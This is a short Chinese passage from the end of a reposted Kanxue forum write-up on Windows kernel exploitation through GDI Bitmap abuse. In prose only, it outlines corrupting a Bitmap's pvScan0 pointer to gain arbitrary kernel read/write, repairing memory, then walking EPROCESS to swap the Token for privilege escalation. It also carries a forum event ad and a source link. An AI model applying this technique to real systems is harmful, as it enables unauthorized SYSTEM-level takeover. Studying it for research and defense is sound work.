    由于0xFD9E200处的Bitmap被扩展了读写能力,我们有机会改变垫片Bitmap其pvscan0内存,将其指向了0xFD9E200处Bitmap-pvscan0,从而构造了两个Bitmap任意读写。

    

    最终利用该处构造的Bitmap任意读写,在对破坏内存处进行修复,下图中已修复成功。

    

    拥有了任意读写,提权也不是问题,接下来就是遍历EPROCESS,Token替换。至此,至此提权完成。


Windows exploit开发系列教程第十七部分:内核利用程序之滥用GDI Bitmap(Win7-10 32/64位)



[进行中] 看雪20周年庆典12月28日上海举办,LV四级(中级)以上会员免费参与!,同时在校学生免费参加:学生报名链接!


文章来源: https://bbs.pediy.com/thread-256949.htm
如有侵权请联系:admin#unsafe.sh